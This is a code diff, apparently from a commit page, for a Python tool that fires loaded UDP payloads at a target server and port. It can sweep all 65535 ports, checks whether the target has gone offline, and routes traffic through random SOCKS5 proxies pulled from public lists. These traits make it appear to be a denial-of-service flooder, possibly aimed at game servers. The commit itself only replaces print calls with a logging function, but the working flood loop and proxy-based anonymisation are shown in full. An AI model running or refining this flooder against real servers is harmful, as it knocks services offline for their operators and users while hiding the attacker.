55import time
66import os
77from motd import sendPacket as sendMotdPacket
8- from api import getLocalHostIP , getTime
8+ from api import getLocalHostIP , getTime , log
99
1010try :
1111 import wget
1212 import socks
1313 import requests
1414except :
15- print ("Import module error! Please run \" pip install -r requirements.txt\" " )
15+ log ("Import module error! Please run \" pip install -r requirements.txt\" " )
1616 os ._exit (1 )
1717
1818localHostIP = getLocalHostIP ()
@@ -41,7 +41,7 @@ def getOptions():
4141 proxyCountry = sys .argv [8 ]
4242 except :
4343 proxyCountry = input ("ProxyCountry(like cn, ru, us or enter to use all): " )
44- print (f"[ { getTime () } ] Proxy mode is under development and deprecated!" )
44+ log (f"Proxy mode is under development and deprecated!" )
4545 proxyUsed = True
4646 else :
4747 proxyUsed = False
@@ -59,25 +59,25 @@ def getOptions():
5959
6060def getProxy () -> list :
6161 try :
62- print (f"[ { getTime () } ] Trying to get proxy data from api..." )
62+ log (f"Trying to get proxy data from api..." )
6363 proxyInfo = requests .get (
6464 f"https://www.proxyscan.io/api/proxy?last_check=3600&uptime=&ping=&limit=1&type=socks5&format=json&country={ proxyCountry } " ).json ()
6565 proxyIP = proxyInfo [0 ]['Ip' ]
6666 proxyPort = proxyInfo [0 ]['Port' ]
6767 return proxyIP , int (proxyPort )
6868 except :
6969 if not os .path .exists (r"socks5.txt" ):
70- print (f"[ { getTime () } ] Request api failed. Downloading proxy list..." )
70+ log (f"Request api failed. Downloading proxy list..." )
7171 wget .download (
7272 "https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/socks5.txt" )
73- print (f"" )
74- print (f"[ { getTime () } ] Proxy list downloaded!" )
73+ print ()
74+ log (f"Proxy list downloaded!" )
7575 with open ("socks5.txt" , "r" ) as file :
7676 socksList = file .readlines ()
7777 randomIndex = random .randint (0 , len (socksList ) - 1 )
7878 proxy = socksList [randomIndex ]
7979 proxyIP , proxyPort = proxy .rsplit (':' , 1 )
80- #print (proxyIP, ":", proxyPort)
80+ #log (proxyIP, ":", proxyPort)
8181 return proxyIP , int (proxyPort )
8282
8383
@@ -89,7 +89,7 @@ def createSocket():
8989 proxyIP , proxyPort = getProxy ()
9090 socketSend .set_proxy (socks .SOCKS5 , proxyIP , proxyPort )
9191 if proxyUsed :
92- print (f"[ { getTime () } ] Used proxy: { proxyIP } :{ proxyPort } " )
92+ log (f"Used proxy: { proxyIP } :{ proxyPort } " )
9393 else :
9494 socketSend = socket .socket (socket .AF_INET , socket .SOCK_DGRAM )
9595 socketSend .bind ((str (localHostIP ), localPort ))
@@ -106,15 +106,15 @@ def sendPacket(target, port, file, loops, interval):
106106 try :
107107 payloads = marshal .load (open (file , "rb" ))
108108 except :
109- print (f"[ { getTime () } ] Payload file not found!" )
109+ log (f"Payload file not found!" )
110110 sys .exit ()
111111 try :
112112 if isDisplayMotd :
113113 sendMotdPacket (target , port )
114114 except :
115115 if isDisplayMotd :
116- print (f"[ { getTime () } ] Target server offline." )
117- #print (f"[{getTime()}] Sending packet...")
116+ log (f"Target server offline." )
117+ #log (f"Sending packet...")
118118 try :
119119 if port == "*" :
120120 for port in range (65535 ):
@@ -123,10 +123,10 @@ def sendPacket(target, port, file, loops, interval):
123123 else :
124124 for line in payloads :
125125 socketSend .sendto (line , (target , int (port )))
126- print (f"[ { getTime () } ] Loop " , str (i ),
126+ log (f"Loop " , str (i ),
127127 " done, used local port: " , str (localPort ), "\n " )
128128 except :
129- print (f"[ { getTime () } ] Loop " , str (i ), " error! Skip..." , "\n " )
129+ log (f"Loop " , str (i ), " error! Skip..." , "\n " )
130130 pass
131131 if i + 1 < loops :
132132 time .sleep (interval )
0 commit comments